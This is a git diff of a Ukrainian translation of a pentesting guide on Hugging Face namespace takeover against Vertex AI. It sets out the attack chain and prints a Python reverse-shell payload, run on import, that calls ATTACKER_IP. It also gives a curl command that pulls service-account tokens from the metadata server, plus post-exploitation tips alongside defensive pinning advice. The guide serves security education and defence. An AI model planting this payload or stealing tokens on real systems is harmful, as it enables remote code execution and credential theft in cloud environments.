Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

This commit is contained in:
Translator
2025-09-29 22:23:54 +00:00
parent 389d77d2b9
commit d452cf43e5
6 changed files with 362 additions and 362 deletions

View File

@@ -2,22 +2,22 @@
{{#include ../../../banners/hacktricks-training.md}}
## Сценарій
## Scenario
- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей.
- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом.
- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки.
- Vertex AI Model Garden дозволяє безпосередньо розгортати багато Hugging Face (HF) моделей.
- HF model identifiers are Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути перереєстроване будь-ким. Атакуючі можуть створити repo з тим самим ModelName за старим шляхом.
- Pipelines, SDKs, або cloud catalogs, які підтягують за імм (без pinning/integrity), підтягнуть repo під контролем атакуючого. Коли модель буде розгорнута, loader code з цього repo може виконатися всередині контейнера endpoint Vertex AI, надаючи RCE з дозволами endpoint.
Два поширені випадки takeover на HF:
- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName.
- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях.
Two common takeover cases on HF:
- Ownership deletion: Старий шлях повертає 404, поки хтось не перереєструє автора і не опублікує той самий ModelName.
- Ownership transfer: HF повертає 307 редиректи зі старого Author/ModelName на нового автора. Якщо старий автор пізніше видаляється і його ім'я перереєструє атакуючий, ланцюжок редиректів буде порушений і repo атакуючого обслуговуватиме старий шлях.
## Визначення повторно використовуваних просторів імен (HF)
## Identifying Reusable Namespaces (HF)
- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover.
- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого.
- Old author deleted: сторінка автора повертає 404; шлях до моделі може повертати 404 до takeover.
- Transferred models: старий шлях моделі повертає 307 на нового власника, поки старий автор існує. Якщо старий автор пізніше видаляється і його ім'я перереєструють, legacy path буде вказувати на repo атакуючого.
Швидкі перевірки за допомогою curl:
Quick checks with curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Повний сценарій атаки проти Vertex AI
## Повний ланцюг атаки проти Vertex AI
1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable:
- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”.
- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений.
1) Виявити повторно використовувані неймспейси моделей, які Model Garden позначає як deployable:
- Знайти HF models у Vertex AI Model Garden, які все ще відображаються як “verified deployable”.
- Перевірити на HF, чи оригінальний author видалений, або чи модель була передана і старий author пізніше видалений.
2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName.
2) Повторно зареєструвати видаленого author на HF та відтворити той самий ModelName.
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
- Побічні ефекти в __init__.py репо
- Custom modeling_*.py або processing code, на які посилається config/auto_map
- Code paths that require trust_remote_code=True in Transformers pipelines
3) Опублікувати шкідливий repo. Включити код, який виконується під час model load. Приклади, які зазвичай виконуються під час HF model load:
- Побічні ефекти в __init__.py репозиторію
- Custom modeling_*.py або processing код, на який посилається config/auto_map
- Шляхи коду, які потребують trust_remote_code=True у Transformers pipelines
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
4) Розгортання у Vertex AI для спадкового Author/ModelName тепер підтягує репозиторій зловмисника. Лоадер виконується всередині контейнера Vertex AI endpoint.
5) Payload establishes access from the endpoint environment (RCE) with the endpoints permissions.
5) Payload встановлює доступ із середовища endpoint (RCE) з правами endpointа.
Example payload fragment executed on import (for demonstration only):
Приклад фрагмента payload, що виконується при import (тільки для демонстрації):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Примітки
- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True.
- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP.
- Реальні лоадери можуть відрізнятися. Багато інтеграцій Vertex AI HF клонують та імпортують модулі з репозиторіїв, на які посилається конфігурація моделі (наприклад, auto_map), що може призвести до виконання коду. Для деяких випадків необхідно trust_remote_code=True.
- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP.
## Post-Exploitation Tips (Vertex AI Endpoint)
Once code is running inside the endpoint container, consider:
- Перелічити environment variables та metadata для credentials/tokens
- Отримати доступ до attached storage або змонтованих model artifacts
- Перелічити змінні оточення та метадані для виявлення облікових даних/токенів
- Отримати доступ до приєднаного сховища або змонтованих артефактів моделі
- Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistence у model artifact якщо платформа re-pulls repo
- Забезпечити персистенцію в артефакті моделі, якщо платформа повторно витягує репозиторій
Перелічте instance metadata, якщо доступно (залежить від контейнера):
Enumerate instance metadata if accessible (container dependent):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Захисні рекомендації для користувачів Vertex AI
## Рекомендації з безпеки для користувачів Vertex AI
- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню:
- Закріплюйте моделі за commit у HF loaders, щоб запобігти прихованій заміні:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти.
- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті.
- Реплікуйте перевірені HF models у довірений внутрішній artifact store/registry і розгортайте звідти.
- Постійно скануйте codebases і configs на наявність захардкоджених Author/ModelName, які були deleted/transferred; оновлюйте на нові namespaces або закріплюйте за конкретним commit.
- У Model Garden перевіряйте походження моделі та існування автора перед розгортанням.
## Евристики виявлення (HTTP)
## Евристики розпізнавання (HTTP)
- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover.
- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого.
- Видалений автор: author page 404; legacy model path 404 до takeover.
- Передана модель: legacy path 307 на нового автора, поки старий автор існує; якщо старого автора пізніше видалять і повторно зареєструють, legacy path починає віддавати attacker content.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Перехресні посилання
- Див. ширшу методологію та зауваження щодо ланцюга постачання:
- Див. ширшу методологію та нотатки щодо ланцюга постачання:
{{#ref}}
../../pentesting-cloud-methodology.md